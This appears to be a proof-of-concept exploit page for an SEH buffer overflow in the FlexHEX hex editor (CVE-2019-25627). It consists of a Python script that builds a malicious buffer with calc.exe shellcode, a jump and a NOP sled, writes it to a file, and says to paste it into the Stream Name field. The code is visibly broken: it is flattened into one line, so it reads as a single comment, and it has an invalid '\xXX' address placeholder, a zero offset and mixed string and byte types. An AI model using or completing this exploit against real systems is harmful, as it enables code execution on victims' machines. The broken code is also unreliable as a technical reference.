CVE-2019-25627 FlexHEX本地缓冲区溢出漏洞

#!/usr/bin/python # -*- coding: utf-8 -*- # PoC for CVE-2019-25627 (FlexHEX SEH Overflow) # Generates a malicious file to trigger the buffer overflow. import sys # Bad characters check might be required depending on the context # Shellcode to execute calc.exe (windows/exec CMD=calc.exe) shellcode = ("\xd9\xc5\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a" "\x49\x4b\x4c\x4a\x48\x4b\x39\x43\x30\x45\x50\x45\x50\x4c" "\x49\x4b\x55\x46\x51\x48\x52\x42\x44\x4c\x4b\x50\x52\x50" "\x30\x4c\x4b\x47\x32\x44\x4c\x4c\x4b\x51\x42\x44\x54\x4c" "\x4b\x50\x52\x46\x50\x4c\x4b\x51\x5a\x47\x4c\x4e\x6b\x42" "\x46\x4c\x4b\x44\x4c\x50\x34\x54\x54\x4c\x4b\x50\x53\x50" "\x31\x4a\x4b\x43\x56\x4c\x4b\x44\x44\x4e\x6b\x43\x31\x4a" "\x4e\x46\x51\x49\x50\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45" "\x57\x49\x54\x48\x41\x4b\x51\x4b\x45\x31\x51\x59\x43\x6a" "\x56\x31\x4b\x4f\x4d\x30\x50\x58\x43\x30\x43\x30\x45\x50" "\x4c\x4b\x42\x38\x44\x58\x4c\x49\x4b\x4f\x49\x70\x4e\x75" "\x49\x50\x42\x4e\x42\x46\x42\x36\x43\x66\x4a\x48\x46\x49" "\x4d\x50\x4f\x4d\x4e\x4b\x4f\x49\x46\x46\x33\x46\x33\x50" "\x32\x45\x38\x45\x51\x4c\x4b\x50\x4f\x4e\x36\x50\x50\x56" "\x30\x4c\x4b\x47\x36\x46\x50\x4e\x6b\x42\x50\x44\x4c\x4c" "\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45\x58\x4b" "\x4f\x48\x55\x4c\x4f\x4f\x4f\x48\x59\x4f\x4f\x4f\x48\x59" "\x43\x30\x45\x50\x43\x58\x44\x47\x42\x53\x46\x52\x51\x4f" "\x50\x52\x43\x30\x51\x53\x51\x43\x47\x33\x43\x43") # Payload construction structure # Note: Offsets need to be determined via debugging (e.g., using pattern_create.rb) offset = 0 # Replace with actual offset to SEH handler nseh = b"\xeb\x06\x90\x90" # Short jump to shellcode seh = b"\xXX\xXX\xXX\xXX" # POP POP RET address (replace with valid address) padding = b"\x90" * 16 # NOP sled before shellcode # Generate the malicious buffer buffer = b"A" * offset + nseh + seh + padding + shellcode try: print("[*] Creating malicious payload file...") with open("exploit.txt", "wb") as f: f.write(buffer) print("[+] File 'exploit.txt' created successfully.") print("[*] Paste the content of this file into the FlexHEX Stream Name field.") except Exception as e: print(f"[-] Error creating file: {e}")